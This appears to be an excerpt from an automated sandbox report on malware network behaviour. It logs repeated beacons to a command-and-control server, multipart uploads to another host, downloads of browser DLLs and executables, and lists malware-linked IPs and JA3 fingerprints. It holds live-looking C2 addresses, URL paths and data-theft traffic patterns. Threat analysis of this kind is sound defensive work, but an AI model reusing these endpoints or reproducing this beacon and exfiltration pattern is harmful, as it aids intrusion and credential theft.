r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FDA444CEFCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 44 41 34 34 34 43 45 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FDA444CEFCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 44 41 34 34 34 43 45 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FDA444CEFCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 44 41 34 34 34 43 45 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FDA444CEFCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 44 41 34 34 34 43 45 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FDA444CEFCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 44 41 34 34 34 43 45 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FDA444CEFCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 44 41 34 34 34 43 45 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FDA444CEFCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 44 41 34 34 34 43 45 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FDA444CEFCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 44 41 34 34 34 43 45 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FDA444CEFCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 44 41 34 34 34 43 45 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FDA444CEFCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 36 46 44 41 34 34 34 43 45 46 43 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C6FDA444CEFCFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 198.46.178.145 198.46.178.145
Source: Joe Sandbox View IP Address: 77.91.101.71 77.91.101.71
Source: Joe Sandbox View IP Address: 185.215.113.16 185.215.113.16
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDHDAFIDGDBGCAAFIDHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGDGHCAAKECFHJKFIJKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKFCGIJKJKFHIDHIIIEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHIIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAEHCAEGDHJKFHJKFIJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 6789Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Coll%C3%A8ge_Ahuntsic?zejw3gqwmp0vw=R8%2Fu9J%2Bj64IFw9x63%2F9aOpnzREOZKM709PyrbqHMCEioUh%2Blkv89lRN48Nn9a3rmWypKncjDf9lPiVhJRxR02Q%3D%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Content-Length: 96Host: vaniloin.fun
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAAFCAKKKFBFIDGDBFHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFBGDHCBAEHIDGCGIDAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFBAECBAEGDGDHIEHIJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKKEGDBFIIEBFHIEHCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFBFBFIIJDAKECAKKJEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEHCGIJECFIECBFIDGDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 457Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDAECAEBKJJJKEBKKJDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAAFCAFCBKFHJJJKKFHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 498Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFIDGIIIJDBGDGDAKKFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /7847438767.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 198.46.178.145Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: arpdabl.zapto.orgContent-Length: 2681Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_008FBD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile, 7_2_008FBD60
Source: global traffic HTTP traffic detected: GET /profiles/76561199747278259 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /inc/server.exe HTTP/1.1Host: 185.215.113.16
